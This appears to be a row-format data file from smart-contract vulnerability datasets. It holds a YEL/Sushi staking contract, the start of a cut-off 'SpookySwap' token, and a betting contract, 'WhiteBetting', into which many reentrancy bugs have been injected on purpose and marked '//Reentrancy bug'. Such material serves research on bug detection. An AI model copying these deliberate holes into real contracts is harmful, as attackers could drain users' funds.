library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
abstract contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner {
if (direct) {
require(newOwner != address(0) || renounce, "Ownable: zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
} else {
pendingOwner = newOwner;
}
}
function claimOwnership() public {
address _pendingOwner = pendingOwner;
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
contract StorageBuffer {
// Reserved storage space to allow for layout changes in the future.
uint256[20] private _gap;
function getStore(uint a) internal view returns(uint) {
require(a < 20, "Not allowed");
return _gap[a];
}
function setStore(uint a, uint val) internal {
require(a < 20, "Not allowed");
_gap[a] = val;
}
}
// the user has deposited and indicate how much he is eligible to withdraw
abstract contract LPTokenWrapper is StorageBuffer {
using SafeERC20 for IERC20;
// Address of YEL token
IERC20 public immutable yel;
// Address of LP token
IERC20 public immutable lpToken;
// Amount of Lp tokens deposited
uint256 private _totalSupply;
// A place where user token balance is stored
mapping(address => uint256) private _balances;
// Function modifier that calls update reward function
modifier updateReward(address account) {
_updateReward(account);
_;
}
constructor(address _yel, address _lpToken) {
require(_yel != address(0) && _lpToken != address(0), "NULL_ADDRESS");
yel = IERC20(_yel);
lpToken = IERC20(_lpToken);
}
// View function that provides tptal supply for the front end
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
// View function that provides the LP balance of a user
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) virtual public {
_totalSupply += amount;
_balances[msg.sender] += amount;
lpToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) virtual public {
_totalSupply -= amount;
_balances[msg.sender] -= amount;
lpToken.safeTransfer(msg.sender, amount);
}
//Interface
function _updateReward(address account) virtual internal;
}
contract Chromosome is LPTokenWrapper, Ownable {
using SafeERC20 for IERC20;
// Immutable Address of Sushi token
IERC20 public immutable sushi;
// Immutable masterchef contract address
IMasterChef public immutable masterChef;
uint256 public immutable pid; // sushi pool id
// Reward rate - This is done to set YEL reward rate proportion.
uint256 public rewardRate = 2000000;
uint256 public constant DIVISIONER = 10 ** 6;
// Set of variables that is storing user Sushi rewards
uint256 public sushiPerTokenStored;
// Info of each user.
struct UserInfo {
uint256 remainingYelTokenReward; // Remaining Token amount that is owned to the user.
uint256 sushiPerTokenPaid;
uint256 sushiRewards;
}
// Info of each user that stakes YEL tokens.
mapping(address => UserInfo) public userInfo;
//mapping(address => uint256) public sushiPerTokenPaid;
//mapping(address => uint256) public sushiRewards;
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event SushiPaid(address indexed user, uint256 reward);
constructor(address _yel,
address _sushi,
address _lpToken,
address _masterChef,
uint256 _pid)
LPTokenWrapper(_yel, _lpToken)
{
require(_sushi != address(0) && _masterChef != address(0),
"NULL_ADDRESSES");
sushi = IERC20(_sushi);
masterChef = IMasterChef(_masterChef);
pid = _pid;
}
// Function which tracks rewards of a user and harvests all sushi rewards from Masterchef
function _updateReward(address account) override internal {
UserInfo storage user = userInfo[msg.sender];
uint _then = sushi.balanceOf(address(this));
masterChef.withdraw(pid, 0); // harvests sushi
sushiPerTokenStored = _sushiPerToken(sushi.balanceOf(address(this)) - _then);
if (account != address(0)) {
user.sushiRewards = _sushiEarned(account, sushiPerTokenStored);
user.sushiPerTokenPaid = sushiPerTokenStored;
}
}
// View function which shows sushi rewards amount of our Pool
function sushiPerToken() public view returns (uint256) {
return _sushiPerToken(masterChef.pendingSushi(pid, address(this)));
}
// Calculates how much sushi is provied per LP token
function _sushiPerToken(uint earned_) internal view returns (uint256) {
uint _totalSupply = totalSupply();
if (_totalSupply > 0) {
return sushiPerTokenStored + earned_ * 1e18 / _totalSupply;
}
return sushiPerTokenStored;
}
// View function which shows user YEL reward for displayment on frontend
function earned(address account) public view returns (uint256) {
UserInfo memory user = userInfo[account];
return _sushiEarned(account, sushiPerToken()) * rewardRate / DIVISIONER + user.remainingYelTokenReward;
}
// View function which shows user Sushi reward for displayment on frontend
function sushiEarned(address account) public view returns (uint256) {
return _sushiEarned(account, sushiPerToken());
}
// Calculates how much sushi is entitled for a particular user
function _sushiEarned(address account, uint256 sushiPerToken_) internal view returns (uint256) {
UserInfo memory user = userInfo[account];
return
balanceOf(account) * (sushiPerToken_ - user.sushiPerTokenPaid) / 1e18 + user.sushiRewards;
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
//Recieves users LP tokens and deposits them to Masterchef contract
function stake(uint256 amount) override public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
lpToken.approve(address(masterChef), amount);
masterChef.deposit(pid, amount);
emit Staked(msg.sender, amount);
}
// Recieves Lp tokens from Masterchef and give it out to the user
function withdraw(uint256 amount) override public updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
masterChef.withdraw(pid, amount); // harvests sushi
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
// "Go home" function which withdraws all Funds and distributes all rewards to the user
function exit() external {
require(msg.sender != address(0));
UserInfo storage user = userInfo[msg.sender];
uint _then = sushi.balanceOf(address(this));
uint256 amount = balanceOf(msg.sender);
require(amount > 0, "Cannot withdraw 0");
masterChef.withdraw(pid, amount); // harvests sushi
sushiPerTokenStored = _sushiPerToken(sushi.balanceOf(address(this)) - _then);
user.sushiRewards = _sushiEarned(msg.sender, sushiPerTokenStored);
user.sushiPerTokenPaid = sushiPerTokenStored;
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
uint256 reward = user.sushiRewards;
if (reward > 0) {
user.sushiRewards = 0;
sushi.safeTransfer(msg.sender, reward);
emit SushiPaid(msg.sender, reward);
}
reward = reward * rewardRate / DIVISIONER + user.remainingYelTokenReward;
if (reward > 0)
{
user.remainingYelTokenReward = safeRewardTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
// Changes rewards rate of YEL token
function setRewardRate(uint256 _rewardRate) external onlyOwner {
rewardRate = _rewardRate;
}
// Harvests rewards to the user but leaves the Lp tokens deposited
function getReward() public updateReward(msg.sender) {
UserInfo storage user = userInfo[msg.sender];
uint256 reward = user.sushiRewards;
if (reward > 0) {
user.sushiRewards = 0;
sushi.safeTransfer(msg.sender, reward);
emit SushiPaid(msg.sender, reward);
}
reward = reward * rewardRate / DIVISIONER + user.remainingYelTokenReward;
if (reward > 0)
{
user.remainingYelTokenReward = safeRewardTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
// Safe token distribution
function safeRewardTransfer(address _to, uint256 _amount) internal returns(uint256) {
uint256 rewardTokenBalance = yel.balanceOf(address(this));
if (rewardTokenBalance == 0) { //save some gas fee
return _amount;
}
if (_amount > rewardTokenBalance) { //save some gas fee
yel.transfer(_to, rewardTokenBalance);
return _amount - rewardTokenBalance;
}
yel.transfer(_to, _amount);
return 0;
}
}
// Implemented to call functions of masterChef
interface IMasterChef {
function deposit(uint256 pid, uint256 amount) external;
function withdraw(uint256 pid, uint256 amount) external;
function pendingSushi(uint256 pid, address user) external view returns(uint);
}
| 159,980 | 12,226 |
54015aef68d15537055434245a690080e4b5b0e2bb2f3d0381970718ad40a05f
| 17,804 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Reentrancy/Sol/buggy_25.sol
| 5,455 | 17,591 |
pragma solidity ^0.5.11;
//
// * whitebetting.com - the whitest football betting game based on ethereum blockchain
// on 2019-09-24
//
contract WhiteBetting {
uint256 counter_re_ent28 =0;
function callme_re_ent28() public{
require(counter_re_ent28<=5);
msg.sender.call.value(10 ether)(""); //Reentrancy bug
revert();
counter_re_ent28 += 1;
}
address payable public owner;
// Game information
struct GameInfo {
// game start time
uint256 timestamp;
// game odds
uint32 odd_homeTeam;
uint32 odd_drawTeam;
uint32 odd_awayTeam;
uint32 odd_over;
uint32 odd_under;
uint32 odd_homeTeamAndDraw;
uint32 odd_homeAndAwayTeam;
uint32 odd_awayTeamAndDraw;
// Checking the game status
uint8 open_status;
// Checking whether winning were paid
bool isDone;
}
bool not_called_re_ent27 = true;
function bug_re_ent27() public{
require(not_called_re_ent27);
msg.sender.call.value(1 ether)("") ; //Reentrancy bug
revert();
not_called_re_ent27 = false;
}
mapping(uint64 => GameInfo) public gameList;
// Player betting infomation
struct BetFixture {
address payable player;
uint256 stake;
uint32 odd;
// betting type
uint16 selectedTeam;
}
mapping(address => uint) userBalance_re_ent26;
function withdrawBalance_re_ent26() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent26[msg.sender])(""); //Reentrancy bug
if(! success){
revert();
}
userBalance_re_ent26[msg.sender] = 0;
}
mapping(uint64 => BetFixture[]) public betList;
// Events that are issued to make statistic recovery easier
bool not_called_re_ent15 = true;
function deposit_re_ent15() public payable{
not_called_re_ent15 = true;
}
function bug_re_ent15() public{
require(not_called_re_ent15);
(bool success,) = (msg.sender.call.value(1 ether)("")); //Reentrancy bug
if(! success){
revert();
}
not_called_re_ent15 = false;
}
event Success(uint256 odd);
mapping(address => uint) redeemableEther_re_ent14;
function deposit_re_ent14() public payable{
uint amount = msg.value;
redeemableEther_re_ent14[msg.sender]+=amount;
}
function claimReward_re_ent14() public {
// ensure there is a reward to give
require(redeemableEther_re_ent14[msg.sender] > 0);
uint transferValue_re_ent14 = redeemableEther_re_ent14[msg.sender];
msg.sender.call.value(transferValue_re_ent14)(""); //bug //Reentrancy bug
redeemableEther_re_ent14[msg.sender] = 0;
}
event Deposit(address sender, uint256 eth);
mapping(address => uint) balances_re_ent13;
function deposit_re_ent13() public payable{
uint amount = msg.value;
balances_re_ent13[msg.sender]+=amount;
}
function withdrawFunds_re_ent13 (uint256 _weiToWithdraw) public {
require(balances_re_ent13[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent13[msg.sender] -= _weiToWithdraw;
}
event Withdraw(address receiver, uint256 eth);
address payable lastPlayer_re_ent12;
uint jackpot_re_ent12;
function deposit_re_ent12() public payable{
uint amount = msg.value;
jackpot_re_ent12 = amount;
}
function buyTicket_re_ent12() public{
(bool success,) = lastPlayer_re_ent12.call.value(jackpot_re_ent12)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent12 = msg.sender;
jackpot_re_ent12 = address(this).balance;
}
event NewStake(address player, uint64 fixtureId, uint16 selectedTeam, uint256 stake, uint256 odd);
mapping(address => uint) balances_re_ent11;
function deposit_re_ent11() public payable{
uint amount = msg.value;
balances_re_ent11[msg.sender]+=amount;
}
function withdraw_balances_re_ent11 () public {
uint amount = balances_re_ent11[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent11[msg.sender] = 0;
}
event SetGame(uint64 _fixtureId, uint256 _timestamp, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw, uint8 _open_status);
mapping (address => uint) private balances_re_ent10;
mapping (address => bool) private disableWithdraw_re_ent10;
function deposit_re_ent10() public payable {
balances_re_ent10[msg.sender] += msg.value;
}
function withdrawBalance_re_ent10() public {
require(disableWithdraw_re_ent10[msg.sender] == false);
uint amountToWithdraw = balances_re_ent10[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent10[msg.sender] = true;
balances_re_ent10[msg.sender] = 0;
}
}
event ChangeOdd (uint64 _fixtureId, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw);
mapping(address => uint) balances_re_ent1;
function deposit_re_ent1() public payable{
uint amount = msg.value;
balances_re_ent1[msg.sender]+=amount;
}
function withdraw_balances_re_ent1 () public {
uint amount = balances_re_ent1[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent1[msg.sender] = 0;
}
event GivePrizeMoney(uint64 _fixtureId, uint8 _homeDrawAway, uint8 _overUnder);
// Constructor
constructor() public {
owner = msg.sender;
}
mapping(address => uint) redeemableEther_re_ent25;
function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.call.value(transferValue_re_ent25)(""); //bug //Reentrancy bug
redeemableEther_re_ent25[msg.sender] = 0;
}
// Change the game status
function setOpenStatus(uint64 _fixtureId, uint8 _open_status) external onlyOwner {
gameList[_fixtureId].open_status = _open_status;
}
mapping(address => uint) balances_re_ent24;
function withdrawFunds_re_ent24 (uint256 _weiToWithdraw) public {
require(balances_re_ent24[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent24[msg.sender] -= _weiToWithdraw;
}
// Refresh the game odd
function changeOdd (uint64 _fixtureId, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw) external onlyOwner {
gameList[_fixtureId].odd_homeTeam = _odd_homeTeam;
gameList[_fixtureId].odd_drawTeam = _odd_drawTeam;
gameList[_fixtureId].odd_awayTeam = _odd_awayTeam;
gameList[_fixtureId].odd_over = _odd_over;
gameList[_fixtureId].odd_under = _odd_under;
gameList[_fixtureId].odd_homeTeamAndDraw = _odd_homeTeamAndDraw;
gameList[_fixtureId].odd_homeAndAwayTeam = _odd_homeAndAwayTeam;
gameList[_fixtureId].odd_awayTeamAndDraw = _odd_awayTeamAndDraw;
emit ChangeOdd (_fixtureId, _odd_homeTeam, _odd_drawTeam, _odd_awayTeam, _odd_over, _odd_under, _odd_homeTeamAndDraw, _odd_homeAndAwayTeam , _odd_awayTeamAndDraw);
}
address payable lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
lastPlayer_re_ent23.call.value(jackpot_re_ent23)("");//Reentrancy bug
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
// Save the game information
function setGameInfo (uint64 _fixtureId, uint256 _timestamp, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw, uint8 _open_status) external onlyOwner {
gameList[_fixtureId].timestamp = _timestamp;
gameList[_fixtureId].odd_homeTeam = _odd_homeTeam;
gameList[_fixtureId].odd_drawTeam = _odd_drawTeam;
gameList[_fixtureId].odd_awayTeam = _odd_awayTeam;
gameList[_fixtureId].odd_over = _odd_over;
gameList[_fixtureId].odd_under = _odd_under;
gameList[_fixtureId].odd_homeTeamAndDraw = _odd_homeTeamAndDraw;
gameList[_fixtureId].odd_homeAndAwayTeam = _odd_homeAndAwayTeam;
gameList[_fixtureId].odd_awayTeamAndDraw = _odd_awayTeamAndDraw;
gameList[_fixtureId].open_status = _open_status;
gameList[_fixtureId].isDone = false;
emit SetGame(_fixtureId, _timestamp, _odd_homeTeam, _odd_drawTeam, _odd_awayTeam, _odd_over, _odd_under, _odd_homeTeamAndDraw, _odd_homeAndAwayTeam , _odd_awayTeamAndDraw, _open_status);
}
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])(""); //Reentrancy bug
if (success)
balances_re_ent21[msg.sender] = 0;
}
// Player make a bet
function placeBet(uint64 _fixtureId, uint16 _selectedTeam, uint32 _odd) external payable {
uint stake = msg.value;
// Minium amount to bet is 0.001 ether
require(stake >= .001 ether);
// Check whether odds is valid
require(_odd != 0);
// Compare to match mainnet odds with was submitted odds by betting type
if (_selectedTeam == 1) {
require(gameList[_fixtureId].odd_homeTeam == _odd);
} else if (_selectedTeam == 2) {
require(gameList[_fixtureId].odd_drawTeam == _odd);
} else if (_selectedTeam == 3) {
require(gameList[_fixtureId].odd_awayTeam == _odd);
} else if (_selectedTeam == 4) {
require(gameList[_fixtureId].odd_over == _odd);
} else if (_selectedTeam == 5) {
require(gameList[_fixtureId].odd_under == _odd);
} else if (_selectedTeam == 6) {
require(gameList[_fixtureId].odd_homeTeamAndDraw == _odd);
} else if (_selectedTeam == 7) {
require(gameList[_fixtureId].odd_homeAndAwayTeam == _odd);
} else if (_selectedTeam == 8) {
require(gameList[_fixtureId].odd_awayTeamAndDraw == _odd);
} else {
revert();
}
// Betting is possible when the game was opening
require(gameList[_fixtureId].open_status == 3);
// Betting is possible only 10 min. ago
require(now < (gameList[_fixtureId].timestamp - 10 minutes));
// Save the betting information
betList[_fixtureId].push(BetFixture(msg.sender, stake, _odd, _selectedTeam));
emit NewStake(msg.sender, _fixtureId, _selectedTeam, stake, _odd);
}
uint256 counter_re_ent21 =0;
function callme_re_ent21() public{
require(counter_re_ent21<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent21 += 1;
}
// Give prize money by the game result
function givePrizeMoney(uint64 _fixtureId, uint8 _homeDrawAway, uint8 _overUnder) external onlyOwner payable {
// Check the game status whether is opening
require(gameList[_fixtureId].open_status == 3);
// Check if it has ever compensated
require(gameList[_fixtureId].isDone == false);
// Check if it has any player who betted
require(betList[_fixtureId][0].player != address(0));
// Give the prize money!
for (uint i= 0 ; i < betList[_fixtureId].length; i++){
uint16 selectedTeam = betList[_fixtureId][i].selectedTeam;
uint256 returnEth = (betList[_fixtureId][i].stake * betList[_fixtureId][i].odd) / 1000 ;
if ((selectedTeam == 1 && _homeDrawAway == 1)
|| (selectedTeam == 2 && _homeDrawAway == 2)
|| (selectedTeam == 3 && _homeDrawAway == 3)
|| (selectedTeam == 4 && _overUnder == 1)
|| (selectedTeam == 5 && _overUnder == 2)
|| (selectedTeam == 6 && (_homeDrawAway == 1 || _homeDrawAway == 2))
|| (selectedTeam == 7 && (_homeDrawAway == 1 || _homeDrawAway == 3))
|| (selectedTeam == 8 && (_homeDrawAway == 3 || _homeDrawAway == 2))){
betList[_fixtureId][i].player.transfer(returnEth);
}
}
// Change the game status.
gameList[_fixtureId].open_status = 5;
// It was paid.
gameList[_fixtureId].isDone = true; // true .
emit GivePrizeMoney(_fixtureId, _homeDrawAway, _overUnder);
}
mapping (address => uint) private balances_re_ent20;
mapping (address => bool) private disableWithdraw_re_ent20;
function deposit_re_ent20() public payable {
balances_re_ent20[msg.sender] += msg.value;
}
function withdrawBalance_re_ent20() public {
require(disableWithdraw_re_ent20[msg.sender] == false);
uint amountToWithdraw = balances_re_ent20[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent20[msg.sender] = true;
balances_re_ent20[msg.sender] = 0;
}
}
// Standard modifier on methods invokable only by contract owner.
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
// Get this balance of CA
function getBalance() external view returns(uint){
return address(this).balance;
}
address payable lastPlayer_re_ent2;
uint jackpot_re_ent2;
function deposit_re_ent2() public payable{
uint amount = msg.value;
jackpot_re_ent2 = amount;
}
function buyTicket_re_ent2() public{
(bool success,) = lastPlayer_re_ent2.call.value(jackpot_re_ent2)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
// Deposit from owner to CA
function deposit(uint256 _eth) external payable{
emit Deposit(msg.sender, _eth);
}
uint lockTime19;
mapping (address => uint) private balances_re_ent19;
function deposit_re_ent19() public payable {
balances_re_ent19[msg.sender] += msg.value;
}
function transfer_re_ent19(address to, uint amount) public {
if (balances_re_ent19[msg.sender] >= amount) {
balances_re_ent19[to] += amount;
balances_re_ent19[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent19() public {
uint amountToWithdraw = balances_re_ent19[msg.sender];
require(now>lockTime19+60 days);
if (amountToWithdraw > 0) {
lockTime19 = now;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
balances_re_ent19[msg.sender] = 0;
lockTime19 = now - 60 days;
}
}
// Change Owner
function changeOwner(address payable _newOwner) external onlyOwner {
owner = _newOwner;
}
mapping (address => uint) private balances_re_ent18;
mapping (address => bool) private disableWithdraw_re_ent18;
function deposit_re_ent18() public payable {
balances_re_ent18[msg.sender] += msg.value;
}
function transfer_re_ent18(address to, uint amount) public {
if (balances_re_ent18[msg.sender] >= amount) {
balances_re_ent18[to] += amount;
balances_re_ent18[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent18() public {
require(disableWithdraw_re_ent18[msg.sender] == false);
uint amountToWithdraw = balances_re_ent18[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw_re_ent18[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent18[msg.sender] = false;
balances_re_ent18[msg.sender] = 0;
}
}
// Fallback function
function () external payable{
owner.transfer(msg.value);
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
// Withdraw from CA to owner
function withdraw(uint256 _amount) external payable onlyOwner {
require(_amount > 0 && _amount <= address(this).balance);
owner.transfer(_amount);
emit Withdraw(owner, _amount);
}
mapping (address => uint) balances_re_ent16;
modifier hasBalance_re_ent16(){
require(balances_re_ent16[msg.sender] > 0);
_;
balances_re_ent16[msg.sender] = 0;
}
function addToBalance_re_ent16() public payable{
balances_re_ent16[msg.sender] += msg.value;
}
function withdraw_balances_re_ent16() public hasBalance_re_ent16{
uint amountToWithdraw = balances_re_ent16[msg.sender];
(bool success,) = msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
if (!(success)) { revert(); }
}
}
| 223,974 | 12,227 |
30ff4a976837b437f3de37e8a1a16b557aa48ab1a61b5197bf58e29661cb47b4
| 29,498 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8b/8B9695E848E9a6f390426827b8860A9B84174EbF_SpookySwap.sol
| 5,206 | 18,741 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SpookySwap is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
